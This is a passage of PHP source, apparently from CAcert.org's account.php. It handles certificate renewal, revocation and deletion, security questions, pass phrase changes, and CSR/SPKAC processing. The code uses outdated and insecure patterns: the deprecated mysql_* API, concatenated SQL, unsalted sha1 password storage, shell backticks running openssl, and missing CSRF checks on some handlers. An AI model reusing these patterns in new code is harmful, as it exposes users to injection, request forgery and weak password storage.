1739 printf(_("Removed a pending request for '%s'")."<br>\n", $row['CN']);
1740 }
1741 }
1742 showfooter();
1743 exit;
1744 }
1745
1746 if($process != "" && $oldid == 20)
1747 {
1748 $CSR = clean_csr($_REQUEST['CSR']);
1749
1750 if (($weakKey = checkWeakKeyCSR($CSR)) !== "")
1751 {
1752 $id = 20;
1753 showheader(_("My CAcert.org Account!"));
1754 echo $weakKey;
1755 showfooter();
1756 exit;
1757 }
1758
1759 $_SESSION['_config']['tmpfname'] = tempnam("/tmp", "id20CSR");
1760 $fp = fopen($_SESSION['_config']['tmpfname'], "w");
1761 fputs($fp, $CSR);
1762 fclose($fp);
1763 $CSR = $_SESSION['_config']['tmpfname'];
1764 $_SESSION['_config']['subject'] = trim(`/usr/bin/openssl req -text -noout -in "$CSR"|tr -d "\\0"|grep "Subject:"`);
1765 $bits = explode(",", trim(`/usr/bin/openssl req -text -noout -in "$CSR"|tr -d "\\0"|grep -A1 'X509v3 Subject Alternative Name:'|grep DNS:`));
1766 foreach($bits as $val)
1767 {
1768 $_SESSION['_config']['subject'] .= "/subjectAltName=".trim($val);
1769 }
1770 $id = 21;
1771
1772 $_SESSION['_config']['0.CN'] = $_SESSION['_config']['0.subjectAltName'] = "";
1773 extractit();
1774 getcn2();
1775 getalt2();
1776
1777 $query = "select * from `orginfo`,`org`,`orgdomains` where
1778 `org`.`memid`='".$_SESSION['profile']['id']."' and
1779 `org`.`orgid`=`orginfo`.`id` and
1780 `org`.`orgid`=`orgdomains`.`orgid` and
1781 `orgdomains`.`domain`='".$_SESSION['_config']['0.CN']."'";
1782 $_SESSION['_config']['CNorg'] = mysql_fetch_assoc(mysql_query($query));
1783 $query = "select * from `orginfo`,`org`,`orgdomains` where
1784 `org`.`memid`='".$_SESSION['profile']['id']."' and
1785 `org`.`orgid`=`orginfo`.`id` and
1786 `org`.`orgid`=`orgdomains`.`orgid` and
1787 `orgdomains`.`domain`='".$_SESSION['_config']['0.subjectAltName']."'";
1788 $_SESSION['_config']['SANorg'] = mysql_fetch_assoc(mysql_query($query));
1789 //echo "<pre>"; print_r($_SESSION['_config']); die;
1790
1791 if($_SESSION['_config']['0.CN'] == "" && $_SESSION['_config']['0.subjectAltName'] == "")
1792 {
1793 $id = 20;
1794 showheader(_("My CAcert.org Account!"));
1795 echo _("CommonName field was blank. This is usually caused by entering your own name when openssl prompt's you for 'YOUR NAME', or if you try to issue certificates for domains you haven't already verified, as such this process can't continue.");
1796 showfooter();
1797 exit;
1798 }
1799
1800 $_SESSION['_config']['rootcert'] = intval($_REQUEST['rootcert']);
1801 if($_SESSION['_config']['rootcert'] < 1 || $_SESSION['_config']['rootcert'] > 2)
1802 $_SESSION['_config']['rootcert'] = 1;
1803 }
1804
1805 if($process != "" && $oldid == 21)
1806 {
1807 $id = 21;
1808
1809 if(!file_exists($_SESSION['_config']['tmpfname']))
1810 {
1811 showheader(_("My CAcert.org Account!"));
1812 printf(_("Your certificate request has failed to be processed correctly, see %sthe WIKI page%s for reasons and solutions."), "<a href='http://wiki.cacert.org/wiki/FAQ/CertificateRenewal'>", "</a>");
1813 showfooter();
1814 exit;
1815 }
1816
1817 if (($weakKey = checkWeakKeyCSR(file_get_contents(
1818 $_SESSION['_config']['tmpfname']))) !== "")
1819 {
1820 showheader(_("My CAcert.org Account!"));
1821 echo $weakKey;
1822 showfooter();
1823 exit;
1824 }
1825
1826 if($_SESSION['_config']['0.CN'] == "" && $_SESSION['_config']['0.subjectAltName'] == "")
1827 {
1828 showheader(_("My CAcert.org Account!"));
1829 echo _("CommonName field was blank. This is usually caused by entering your own name when openssl prompt's you for 'YOUR NAME', or if you try to issue certificates for domains you haven't already verified, as such this process can't continue.");
1830 showfooter();
1831 exit;
1832 }
1833
1834 if($_SESSION['_config']['rowid']['0'] > 0)
1835 {
1836 $query = "select * from `org`,`orginfo` where
1837 `orginfo`.`id`='".$_SESSION['_config']['rowid']['0']."' and
1838 `orginfo`.`id`=`org`.`orgid` and
1839 `org`.`memid`='".$_SESSION['profile']['id']."'";
1840 } else {
1841 $query = "select * from `org`,`orginfo` where
1842 `orginfo`.`id`='".$_SESSION['_config']['altid']['0']."' and
1843 `orginfo`.`id`=`org`.`orgid` and
1844 `org`.`memid`='".$_SESSION['profile']['id']."'";
1845 }
1846 $org = mysql_fetch_assoc(mysql_query($query));
1847 $csrsubject = "";
1848
1849 if($_SESSION['_config']['OU'])
1850 $csrsubject .= "/organizationalUnitName=".$_SESSION['_config']['OU'];
1851 if($org['O'])
1852 $csrsubject .= "/organizationName=".$org['O'];
1853 if($org['L'])
1854 $csrsubject .= "/localityName=".$org['L'];
1855 if($org['ST'])
1856 $csrsubject .= "/stateOrProvinceName=".$org['ST'];
1857 if($org['C'])
1858 $csrsubject .= "/countryName=".$org['C'];
1859 //if($org['contact'])
1860 // $csrsubject .= "/emailAddress=".trim($org['contact']);
1861
1862 if(is_array($_SESSION['_config']['rows']))
1863 foreach($_SESSION['_config']['rows'] as $row)
1864 $csrsubject .= "/commonName=$row";
1865 $SAN="";
1866 if(is_array($_SESSION['_config']['altrows']))
1867 foreach($_SESSION['_config']['altrows'] as $subalt)
1868 {
1869 if($SAN != "")
1870 $SAN .= ",";
1871 $SAN .= "$subalt";
1872 }
1873
1874 if($SAN != "")
1875 $csrsubject .= "/subjectAltName=".$SAN;
1876
1877 $type="";
1878 if($_REQUEST["ocspcert"]!="" && $_SESSION['profile']['admin'] == 1) $type="8";
1879 if($_SESSION['_config']['rootcert'] < 1 || $_SESSION['_config']['rootcert'] > 2)
1880 $_SESSION['_config']['rootcert'] = 1;
1881
1882 if($_SESSION['_config']['rowid']['0'] > 0)
1883 {
1884 $query = "insert into `orgdomaincerts` set
1885 `CN`='".$_SESSION['_config']['rows']['0']."',
1886 `orgid`='".$org['id']."',
1887 `created`=NOW(),
1888 `subject`='$csrsubject',
1889 `rootcert`='".$_SESSION['_config']['rootcert']."',
1890 `type`='$type'";
1891 } else {
1892 $query = "insert into `orgdomaincerts` set
1893 `CN`='".$_SESSION['_config']['altrows']['0']."',
1894 `orgid`='".$org['id']."',
1895 `created`=NOW(),
1896 `subject`='$csrsubject',
1897 `rootcert`='".$_SESSION['_config']['rootcert']."',
1898 `type`='$type'";
1899 }
1900 mysql_query($query);
1901 $CSRid = mysql_insert_id();
1902
1903 $CSRname=generatecertpath("csr","orgserver",$CSRid);
1904 rename($_SESSION['_config']['tmpfname'], $CSRname);
1905 chmod($CSRname,0644);
1906 mysql_query("update `orgdomaincerts` set `CSR_name`='$CSRname' where `id`='$CSRid'");
1907 if(is_array($_SESSION['_config']['rowid']))
1908 foreach($_SESSION['_config']['rowid'] as $id)
1909 mysql_query("insert into `orgdomlink` set `orgdomid`='$id', `orgcertid`='$CSRid'");
1910 if(is_array($_SESSION['_config']['altid']))
1911 foreach($_SESSION['_config']['altid'] as $id)
1912 mysql_query("insert into `orgdomlink` set `orgdomid`='$id', `orgcertid`='$CSRid'");
1913 waitForResult("orgdomaincerts", $CSRid,$oldid);
1914 $query = "select * from `orgdomaincerts` where `id`='$CSRid' and `crt_name` != ''";
1915 $res = mysql_query($query);
1916 if(mysql_num_rows($res) <= 0)
1917 {
1918 showheader(_("My CAcert.org Account!"));
1919 printf(_("Your certificate request has failed to be processed correctly, see %sthe WIKI page%s for reasons and solutions.")." CSRid: $CSRid", "<a href='http://wiki.cacert.org/wiki/FAQ/CertificateRenewal'>", "</a>");
1920 showfooter();
1921 exit;
1922 } else {
1923 $id = 23;
1924 $cert = $CSRid;
1925 $_REQUEST['cert']=$CSRid;
1926 }
1927 }
1928
1929 if($oldid == 22 && array_key_exists('renew',$_REQUEST) && $_REQUEST['renew'] != "")
1930 {
1931 csrf_check('orgsrvcerchange');
1932 showheader(_("My CAcert.org Account!"));
1933 if(is_array($_REQUEST['revokeid']))
1934 {
1935 echo _("Now renewing the following certificates:")."<br>\n";
1936 foreach($_REQUEST['revokeid'] as $id)
1937 {
1938 $id = intval($id);
1939 $query = "select *,UNIX_TIMESTAMP(`orgdomaincerts`.`revoked`) as `revoke` from
1940 `orgdomaincerts`,`org`
1941 where `orgdomaincerts`.`id`='$id' and
1942 `orgdomaincerts`.`orgid`=`org`.`orgid` and
1943 `org`.`memid`='".$_SESSION['profile']['id']."'";
1944 $res = mysql_query($query);
1945 if(mysql_num_rows($res) <= 0)
1946 {
1947 printf(_("Invalid ID '%s' presented, can't do anything with it.")."<br>\n", $id);
1948 continue;
1949 }
1950
1951 $row = mysql_fetch_assoc($res);
1952
1953 if (($weakKey = checkWeakKeyX509(file_get_contents(
1954 $row['crt_name']))) !== "")
1955 {
1956 echo $weakKey, "<br/>\n";
1957 continue;
1958 }
1959
1960 mysql_query("update `orgdomaincerts` set `renewed`='1' where `id`='$id'");
1961 if($row['revoke'] > 0)
1962 {
1963 printf(_("It would seem '%s' has already been revoked. I'll skip this for now.")."<br>\n", $row['CN']);
1964 continue;
1965 }
1966 $query = "insert into `orgdomaincerts` set
1967 `orgid`='".$row['orgid']."',
1968 `CN`='".$row['CN']."',
1969 `csr_name`='".$row['csr_name']."',
1970 `created`='".$row['created']."',
1971 `modified`=NOW(),
1972 `subject`='".$row['subject']."',
1973 `type`='".$row['type']."',
1974 `rootcert`='".$row['rootcert']."'";
1975 mysql_query($query);
1976 $newid = mysql_insert_id();
1977 //echo "NewID: $newid<br/>\n";
1978 $newfile=generatecertpath("csr","orgserver",$newid);
1979 copy($row['csr_name'], $newfile);
1980 mysql_query("update `orgdomaincerts` set `csr_name`='$newfile' where `id`='$newid'");
1981 echo _("Renewing").": ".$row['CN']."<br>\n";
1982 $res = mysql_query("select * from `orgdomlink` where `orgcertid`='".$row['id']."'");
1983 while($r2 = mysql_fetch_assoc($res))
1984 mysql_query("insert into `orgdomlink` set `orgdomid`='".$r2['id']."', `orgcertid`='$newid'");
1985 waitForResult("orgdomaincerts", $newid,$oldid,0);
1986 $query = "select * from `orgdomaincerts` where `id`='$newid' and `crt_name` != ''";
1987 $res = mysql_query($query);
1988 if(mysql_num_rows($res) <= 0)
1989 {
1990 printf(_("Your certificate request has failed to be processed correctly, see %sthe WIKI page%s for reasons and solutions.")." newid: $newid", "<a href='http://wiki.cacert.org/wiki/FAQ/CertificateRenewal'>", "</a>");
1991 } else {
1992 $drow = mysql_fetch_assoc($res);
1993 $cert = `/usr/bin/openssl x509 -in $drow[crt_name]`;
1994 echo "<pre>\n$cert\n</pre>\n";
1995 }
1996 }
1997 }
1998 else
1999 {
2000 echo _("You did not select any certificates for renewal.");
2001 }
2002 showfooter();
2003 exit;
2004 }
2005
2006 if($oldid == 22 && array_key_exists('revoke',$_REQUEST) && $_REQUEST['revoke'] != "")
2007 {
2008 csrf_check('orgsrvcerchange');
2009 showheader(_("My CAcert.org Account!"));
2010 if(is_array($_REQUEST['revokeid']))
2011 {
2012 echo _("Now revoking the following certificates:")."<br>\n";
2013 foreach($_REQUEST['revokeid'] as $id)
2014 {
2015 $id = intval($id);
2016 $query = "select *,UNIX_TIMESTAMP(`orgdomaincerts`.`revoked`) as `revoke` from
2017 `orgdomaincerts`,`org`
2018 where `orgdomaincerts`.`id`='$id' and
2019 `orgdomaincerts`.`orgid`=`org`.`orgid` and
2020 `org`.`memid`='".$_SESSION['profile']['id']."'";
2021 $res = mysql_query($query);
2022 if(mysql_num_rows($res) <= 0)
2023 {
2024 printf(_("Invalid ID '%s' presented, can't do anything with it.")."<br>\n", $id);
2025 continue;
2026 }
2027 $row = mysql_fetch_assoc($res);
2028 if($row['revoke'] > 0)
2029 {
2030 printf(_("It would seem '%s' has already been revoked. I'll skip this for now.")."<br>\n", $row['CN']);
2031 continue;
2032 }
2033 mysql_query("update `orgdomaincerts` set `revoked`='1970-01-01 10:00:01' where `id`='$id'");
2034 printf(_("Certificate for '%s' has been revoked.")."<br>\n", $row['CN']);
2035 }
2036 }
2037 else
2038 {
2039 echo _("You did not select any certificates for revocation.");
2040 }
2041
2042 if(array_key_exists('delid',$_REQUEST) && is_array($_REQUEST['delid']))
2043 {
2044 echo _("Now deleting the following pending requests:")."<br>\n";
2045 foreach($_REQUEST['delid'] as $id)
2046 {
2047 $id = intval($id);
2048 $query = "select *,UNIX_TIMESTAMP(`orgdomaincerts`.`expire`) as `expired` from
2049 `orgdomaincerts`,`org`
2050 where `orgdomaincerts`.`id`='$id' and
2051 `orgdomaincerts`.`orgid`=`org`.`orgid` and
2052 `org`.`memid`='".$_SESSION['profile']['id']."'";
2053 $res = mysql_query($query);
2054 if(mysql_num_rows($res) <= 0)
2055 {
2056 printf(_("Invalid ID '%s' presented, can't do anything with it.")."<br>\n", $id);
2057 continue;
2058 }
2059 $row = mysql_fetch_assoc($res);
2060 if($row['expired'] > 0)
2061 {
2062 printf(_("Couldn't remove the request for `%s`, request had already been processed.")."<br>\n", $row['CN']);
2063 continue;
2064 }
2065 mysql_query("delete from `orgdomaincerts` where `id`='$id'");
2066 @unlink($row['csr_name']);
2067 @unlink($row['crt_name']);
2068 printf(_("Removed a pending request for '%s'")."<br>\n", $row['CN']);
2069 }
2070 }
2071 showfooter();
2072 exit;
2073 }
2074
2075 if(($id == 24 || $oldid == 24 || $id == 25 || $oldid == 25 || $id == 26 || $oldid == 26 ||
2076 $id == 27 || $oldid == 27 || $id == 28 || $oldid == 28 || $id == 29 || $oldid == 29 ||
2077 $id == 30 || $oldid == 30 || $id == 31 || $oldid == 31) &&
2078 $_SESSION['profile']['orgadmin'] != 1)
2079 {
2080 showheader(_("My CAcert.org Account!"));
2081 echo _("You don't have access to this area.");
2082 showfooter();
2083 exit;
2084 }
2085
2086 if($oldid == 24 && $process != "")
2087 {
2088 $id = intval($oldid);
2089 $_SESSION['_config']['O'] = trim(mysql_real_escape_string(stripslashes($_REQUEST['O'])));
2090 $_SESSION['_config']['contact'] = trim(mysql_real_escape_string(stripslashes($_REQUEST['contact'])));
2091 $_SESSION['_config']['L'] = trim(mysql_real_escape_string(stripslashes($_REQUEST['L'])));
2092 $_SESSION['_config']['ST'] = trim(mysql_real_escape_string(stripslashes($_REQUEST['ST'])));
2093 $_SESSION['_config']['C'] = trim(mysql_real_escape_string(stripslashes($_REQUEST['C'])));
2094 $_SESSION['_config']['comments'] = trim(mysql_real_escape_string(stripslashes($_REQUEST['comments'])));
2095
2096 if($_SESSION['_config']['O'] == "" || $_SESSION['_config']['contact'] == "")
2097 {
2098 $_SESSION['_config']['errmsg'] = _("Organisation Name and Contact Email are required fields.");
2099 } else {
2100 mysql_query("insert into `orginfo` set `O`='".$_SESSION['_config']['O']."',
2101 `contact`='".$_SESSION['_config']['contact']."',
2102 `L`='".$_SESSION['_config']['L']."',
2103 `ST`='".$_SESSION['_config']['ST']."',
2104 `C`='".$_SESSION['_config']['C']."',
2105 `comments`='".$_SESSION['_config']['comments']."'");
2106 showheader(_("My CAcert.org Account!"));
2107 printf(_("'%s' has just been successfully added as an organisation to the database."), sanitizeHTML($_SESSION['_config']['O']));
2108 showfooter();
2109 exit;
2110 }
2111 }
2112
2113 if($oldid == 27 && $process != "")
2114 {
2115 csrf_check('orgdetchange');
2116 $id = intval($oldid);
2117 $_SESSION['_config']['O'] = trim(mysql_real_escape_string(stripslashes($_REQUEST['O'])));
2118 $_SESSION['_config']['contact'] = trim(mysql_real_escape_string(stripslashes($_REQUEST['contact'])));
2119 $_SESSION['_config']['L'] = trim(mysql_real_escape_string(stripslashes($_REQUEST['L'])));
2120 $_SESSION['_config']['ST'] = trim(mysql_real_escape_string(stripslashes($_REQUEST['ST'])));
2121 $_SESSION['_config']['C'] = trim(mysql_real_escape_string(stripslashes($_REQUEST['C'])));
2122 $_SESSION['_config']['comments'] = trim(mysql_real_escape_string(stripslashes($_REQUEST['comments'])));
2123
2124 if($_SESSION['_config']['O'] == "" || $_SESSION['_config']['contact'] == "")
2125 {
2126 $_SESSION['_config']['errmsg'] = _("Organisation Name and Contact Email are required fields.");
2127 } else {
2128 mysql_query("update `orginfo` set `O`='".$_SESSION['_config']['O']."',
2129 `contact`='".$_SESSION['_config']['contact']."',
2130 `L`='".$_SESSION['_config']['L']."',
2131 `ST`='".$_SESSION['_config']['ST']."',
2132 `C`='".$_SESSION['_config']['C']."',
2133 `comments`='".$_SESSION['_config']['comments']."'
2134 where `id`='".$_SESSION['_config']['orgid']."'");
2135 showheader(_("My CAcert.org Account!"));
2136 printf(_("'%s' has just been successfully updated in the database."), sanitizeHTML($_SESSION['_config']['O']));
2137 showfooter();
2138 exit;
2139 }
2140 }
2141
2142 if($oldid == 28 && $process != "" && array_key_exists("domainname",$_REQUEST))
2143 {
2144 $domain = $_SESSION['_config']['domain'] = trim(mysql_real_escape_string(stripslashes($_REQUEST['domainname'])));
2145 $res1 = mysql_query("select * from `orgdomains` where `domain`='$domain'");
2146 if(mysql_num_rows($res1) > 0)
2147 {
2148 $_SESSION['_config']['errmsg'] = sprintf(_("The domain '%s' is already in a different account and is listed as valid. Can't continue."), sanitizeHTML($domain));
2149 $id = $oldid;
2150 $oldid=0;
2151 }
2152 }
2153
2154 if($oldid == 28 && $_SESSION['_config']['orgid'] <= 0)
2155 {
2156 $oldid=0;
2157 $id = 25;
2158 }
2159
2160 if($oldid == 28 && $process != "" && array_key_exists("orgid",$_SESSION["_config"]))
2161 {
2162 mysql_query("insert into `orgdomains` set `orgid`='".intval($_SESSION['_config']['orgid'])."', `domain`='$domain'");
2163 showheader(_("My CAcert.org Account!"));
2164 printf(_("'%s' has just been successfully added to the database."), sanitizeHTML($domain));
2165 echo "<br><br><a href='account.php?id=26&orgid=".intval($_SESSION['_config']['orgid'])."'>"._("Click here")."</a> "._("to continue.");
2166 showfooter();
2167 exit;
2168 }
2169
2170 if($oldid == 29 && $process != "")
2171 {
2172 $domain = mysql_real_escape_string(stripslashes(trim($_REQUEST['domainname'])));
2173
2174 $res1 = mysql_query("select * from `orgdomains` where `domain` like '$domain' and `id`!='".intval($domid)."'");
2175 $res2 = mysql_query("select * from `domains` where `domain` like '$domain' and `deleted`=0");
2176 if(mysql_num_rows($res1) > 0 || mysql_num_rows($res2) > 0)
2177 {
2178 $_SESSION['_config']['errmsg'] = sprintf(_("The domain '%s' is already in a different account and is listed as valid. Can't continue."), sanitizeHTML($domain));
2179 $id = $oldid;
2180 $oldid=0;
2181 }
2182 }
2183
2184 if(($oldid == 29 || $oldid == 30) && $process != "") // _("Cancel") is handled in front of account.php
2185 {
2186 $query = "select `orgdomaincerts`.`id` as `id` from `orgdomlink`, `orgdomaincerts`, `orgdomains` where
2187 `orgdomlink`.`orgdomid`=`orgdomains`.`id` and
2188 `orgdomaincerts`.`id`=`orgdomlink`.`orgcertid` and
2189 `orgdomains`.`id`='".intval($domid)."'";
2190 $res = mysql_query($query);
2191 while($row = mysql_fetch_assoc($res))
2192 mysql_query("update `orgdomaincerts` set `revoked`='1970-01-01 10:00:01' where `id`='".$row['id']."'");
2193
2194 $query = "select `orgemailcerts`.`id` as `id` from `orgemailcerts`, `orgemaillink`, `orgdomains` where
2195 `orgemaillink`.`domid`=`orgdomains`.`id` and
2196 `orgemailcerts`.`id`=`orgemaillink`.`emailcertsid` and
2197 `orgdomains`.`id`='".intval($domid)."'";
2198 $res = mysql_query($query);
2199 while($row = mysql_fetch_assoc($res))
2200 mysql_query("update `orgemailcerts` set `revoked`='1970-01-01 10:00:01' where `id`='".intval($row['id'])."'");
2201 }
2202
2203 if($oldid == 29 && $process != "")
2204 {
2205 $row = mysql_fetch_assoc(mysql_query("select * from `orgdomains` where `id`='".intval($domid)."'"));
2206 mysql_query("update `orgdomains` set `domain`='$domain' where `id`='".intval($domid)."'");
2207 showheader(_("My CAcert.org Account!"));
2208 printf(_("'%s' has just been successfully updated in the database."), sanitizeHTML($domain));
2209 echo "<br><br><a href='account.php?id=26&orgid=".intval($orgid)."'>"._("Click here")."</a> "._("to continue.");
2210 showfooter();
2211 exit;
2212 }
2213
2214 if($oldid == 30 && $process != "")
2215 {
2216 $row = mysql_fetch_assoc(mysql_query("select * from `orgdomains` where `id`='".intval($domid)."'"));
2217 $domain = $row['domain'];
2218 mysql_query("delete from `orgdomains` where `id`='".intval($domid)."'");
2219 showheader(_("My CAcert.org Account!"));
2220 printf(_("'%s' has just been successfully deleted from the database."), sanitizeHTML($domain));
2221 echo "<br><br><a href='account.php?id=26&orgid=".intval($orgid)."'>"._("Click here")."</a> "._("to continue.");
2222 showfooter();
2223 exit;
2224 }
2225
2226 if($oldid == 30)
2227 {
2228 $id = 26;
2229 $orgid = 0;
2230 }
2231
2232 if($oldid == 31 && $process != "")
2233 {
2234 $query = "select * from `orgdomains` where `orgid`='".intval($_SESSION['_config']['orgid'])."'";
2235 $dres = mysql_query($query);
2236 while($drow = mysql_fetch_assoc($dres))
2237 {
2238 $query = "select `orgdomaincerts`.`id` as `id` from `orgdomlink`, `orgdomaincerts`, `orgdomains` where
2239 `orgdomlink`.`orgdomid`=`orgdomains`.`id` and
2240 `orgdomaincerts`.`id`=`orgdomlink`.`orgcertid` and
2241 `orgdomains`.`id`='".intval($drow['id'])."'";
2242 $res = mysql_query($query);
2243 while($row = mysql_fetch_assoc($res))
2244 {
2245 mysql_query("update `orgdomaincerts` set `revoked`='1970-01-01 10:00:01' where `id`='".intval($row['id'])."'");
2246 mysql_query("delete from `orgdomaincerts` where `orgid`='".intval($row['id'])."'");
2247 mysql_query("delete from `orgdomlink` where `domid`='".intval($row['id'])."'");
2248 }
2249
2250 $query = "select `orgemailcerts`.`id` as `id` from `orgemailcerts`, `orgemaillink`, `orgdomains` where
2251 `orgemaillink`.`domid`=`orgdomains`.`id` and
2252 `orgemailcerts`.`id`=`orgemaillink`.`emailcertsid` and
2253 `orgdomains`.`id`='".intval($drow['id'])."'";
2254 $res = mysql_query($query);
2255 while($row = mysql_fetch_assoc($res))
2256 {
2257 mysql_query("update `orgemailcerts` set `revoked`='1970-01-01 10:00:01' where `id`='".intval($row['id'])."'");
2258 mysql_query("delete from `orgemailcerts` where `id`='".intval($row['id'])."'");
2259 mysql_query("delete from `orgemaillink` where `domid`='".intval($row['id'])."'");
2260 }
2261 }
2262 mysql_query("delete from `org` where `orgid`='".intval($_SESSION['_config']['orgid'])."'");
2263 mysql_query("delete from `orgdomains` where `orgid`='".intval($_SESSION['_config']['orgid'])."'");
2264 mysql_query("delete from `orginfo` where `id`='".intval($_SESSION['_config']['orgid'])."'");
2265 }
2266
2267 if($oldid == 31)
2268 {
2269 $id = 25;
2270 $orgid = 0;
2271 }
2272
2273 if($id == 32 || $oldid == 32 || $id == 33 || $oldid == 33 || $id == 34 || $oldid == 34)
2274 {
2275 $query = "select * from `org` where `memid`='".intval($_SESSION['profile']['id'])."' and `masteracc`='1'";
2276 $_macc = mysql_num_rows(mysql_query($query));
2277 if($_SESSION['profile']['orgadmin'] != 1 && $_macc <= 0)
2278 {
2279 showheader(_("My CAcert.org Account!"));
2280 echo _("You don't have access to this area.");
2281 showfooter();
2282 exit;
2283 }
2284 }
2285
2286 if($id == 35 || $oldid == 35)
2287 {
2288 $query = "select 1 from `org` where `memid`='".intval($_SESSION['profile']['id'])."'";
2289 $is_orguser = mysql_num_rows(mysql_query($query));
2290 if($_SESSION['profile']['orgadmin'] != 1 && $is_orguser <= 0)
2291 {
2292 showheader(_("My CAcert.org Account!"));
2293 echo _("You don't have access to this area.");
2294 showfooter();
2295 exit;
2296 }
2297 }
2298
2299 if($id == 33 && $_SESSION['profile']['orgadmin'] != 1)
2300 {
2301 $orgid = intval($_SESSION['_config']['orgid']);
2302 $query = "select * from `org` where `orgid`='$orgid' and `memid`='".intval($_SESSION['profile']['id'])."' and `masteracc`='1'";
2303 $res = mysql_query($query);
2304 if(mysql_num_rows($res) <= 0)
2305 {
2306 $id = 35;
2307 }
2308 }
2309
2310 if($oldid == 33 && $process != "")
2311 {
2312 csrf_check('orgadmadd');
2313 if($_SESSION['profile']['orgadmin'] == 1)
2314 $masteracc = $_SESSION['_config'][masteracc] = intval($_REQUEST['masteracc']);
2315 else
2316 $masteracc = $_SESSION['_config'][masteracc] = 0;
2317 $_REQUEST['email'] = $_SESSION['_config']['email'] = mysql_real_escape_string(stripslashes(trim($_REQUEST['email'])));
2318 $OU = $_SESSION['_config']['OU'] = mysql_real_escape_string(stripslashes(trim($_REQUEST['OU'])));
2319 $comments = $_SESSION['_config']['comments'] = mysql_real_escape_string(stripslashes(
|
__label__pos
| 0.991976 |
1
\$\begingroup\$
I'm working on a tech tree based project in which the player would select "advancements" to effect several measurement stats, or "basic stats". I have a working excel model that will calculate the "scores" for these basic stats based on advancements selected, but I'd eventually like to use these measurement stats that I have to calculate higher level measurements like population or total production power.
For example in the case of calculating "Population", I'd like to take the (current pop + (current pop. * fertility rate)) - death rate. Fertility rate would be calculated based on the "basic stats" of "health" and "food supply", and death rate on metrics like "health" and "squalor".
I'm not really sure how to use these measurements though... If health and food supply both start at 0 and increased by 5 over the course of a few turns, how should I use these scores in a meaningful way to do what I'm trying to do in the case of fertility rate? Fertility rate should be expressed as a certain percentage of total pop. but I'm not sure how to get there from two scores of 5. I don't think this will be a simple process, but I feel like I'm missing some basic concepts to put this into place. Is there a name for this kind of scoring system?
Any ideas would be appreciated! Thanks.
\$\endgroup\$
2 Answers 2
1
\$\begingroup\$
For your Population example, you are probably looking for a 'population model'. If you have interacting species, try something like the 'predator-prey' mathematical model:
enter image description here
(Wikipedia)
I believe a simpler model like the 'Logistic growth equation' (also see link on population models) is a simplification of these equations.
\$\endgroup\$
1
\$\begingroup\$
A general technique for taking several numbers and producing a single number from them when you don't know the precise relationship between them is a weighted sum.
Basically you select floating point weights for each score then multiply the current value of each state by its weight and sum that up to get your result.
So for your example you could use this formula:
fertility_rate = health * HEALTH_WEIGHT + food * FOOD_WEIGHT + squalor * SQUALOR_WEIGHT;
where HEALTH_WEIGHT, FOOD_WEIGHT and SQUALOR_WEIGHT are constants that you can tweak to get the effect you want.
\$\endgroup\$
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|
__label__pos
| 0.8956 |
this website is for sale
What is 12 percent of 130? (12% of 130?)
Answer: 12 percent of 130 is 15.6. Alternatively, we can say that 15.6 is equivalent to 12% of 130.
Percentage Calculator: 12 Percent of 130
Here is a calculator to solve percentage calculations such as what is 12% of 130. You can solve this type of calculation with your values by entering them into the calculator's fields, and click 'Calculate' to get the Result and Explanation!
What is% of
Calculation of What is 12 percent of 130:
12 percent * 130 =
(12 / 100) * 130 =
(12 * 130) / 100 =
1560 / 100 =
15.6
Now we have the answer: 12% of 130 = 15.6. Alternatively, we can express it as: 15.6 is equivalent to 12 percent of 130.
Mathematical Notation: 12% * 130 = (12 / 100) * 130 = (12 * 130) / 100 = 1560 / 100 = 15.6
Formula we can use to solve our problem:
Formula: X/100 × Y
Let's use the example of "What is 12% of 130?" to understand the calculation:
= 12/100 × 130 = 15.6
Check our "What is X Percent of Y" Calculator for more methods and formulas
Solution for "What is 12 percent of 130" with Step-by-step guide:
Step 1: Start with the given output value, which is 15.6.
Step 2: Use the variable 'x' to represent the unknown value.
Step 3: From Step 1, we know that 15.6 is equivalent to 100%.
Step 4: Similarly, we can determine that 'x' represents 12% of the value.
Step 5: This leads us to two simple equations:
• Equation 1: 130 equals 100%
• Equation 2: 'x' equals 12%
Step 6: To solve for 'x', we divide equation 1 by equation 2, considering that both equations have the same unit (%). Thus, we obtain:
130 / x = 100% / 12%
Step 7: By taking the reciprocal of both sides of the equation obtained in Step 6, we have:
x / 130 = 12 / 100
⇒ x = 15.6
Therefore, we conclude that 12% of 130 is equal to 15.6.
I hope explanation above helps you understand how to calculate 12 percent of 130
Quick Tip - How Calculate 12 percent of 130 on calculator
If you want to use a calculator to know what is 12 percent of 130, simply enter 12 ÷ 100 × 130 and you will get your answer which is 15.6
Frequently Asked Questions on What is 12 percent of 130
1. How do I calculate percentage of a total?
To calculate percentages of a total: determine the part, divide it by the total, and multiply by 100.
2. What is 12% of 130?
12 percent of 130 is 15.6.
3. How to calculate 12 percent of 130?
Multiply 12/100 by 130 = (12/100) * 130 = (12 * 130) / 100 = 15.6.
2. 12 of 130?
12 of 130 = 15.6.
4. what is 12 percent of 130 dollars?
15.6 dollars.
Sample questions and answers
Question: At a high school 12 percent of seniors went on a mission trip. There were 130 seniors. How many seniors went on the trip?
Answer: 15.6 seniors went on the trip.
Question: 12 percent of the children in kindergarten like Thomas the Train. If there are 130 kids in kindergarten, how many of them like Thomas?
Answer: 15.6 kids like Thomas the Train.
Similar Percentage Problems
|
__label__pos
| 1 |
Change the SSH Port On Ubuntu
For example, changing the default ssh port to use 20040 instead of 22…
1. Edit /etc/ssh/sshd_config, uncomment the line Port 22 to say Port 20040
2. sudo sytemctl restart ssh
3. Run netstat -tulpn | grep ssh and make sure ssh is listening on 20040
4. Make sure ubuntu firewall allows it, run sudo ufw allow 20040/tcp
5. Lastly, make sure you have your cloud level firewall rules also set up to allow access to that port.
end of storey Last modified:
|
__label__pos
| 0.969722 |
Source
fastavro / fastavro / reader.py
Full commit
# cython: auto_cpdef=True
'''Python code for reading AVRO files'''
# This code is a modified version of the code at
# http://svn.apache.org/viewvc/avro/trunk/lang/py/src/avro/ which is under
# Apache 2.0 license (http://www.apache.org/licenses/LICENSE-2.0)
import json
from os import SEEK_CUR
from struct import pack, unpack
from zlib import decompress
try:
from ._six import MemoryIO, xrange, btou
except ImportError:
from .six import MemoryIO, xrange, btou
VERSION = 1
MAGIC = 'Obj' + chr(VERSION)
SYNC_SIZE = 16
META_SCHEMA = {
'type': 'record',
'name': 'org.apache.avro.file.Header',
'fields': [
{
'name': 'magic',
'type': {'type': 'fixed', 'name': 'magic', 'size': len(MAGIC)},
},
{
'name': 'meta',
'type': {'type': 'map', 'values': 'bytes'}
},
{
'name': 'sync',
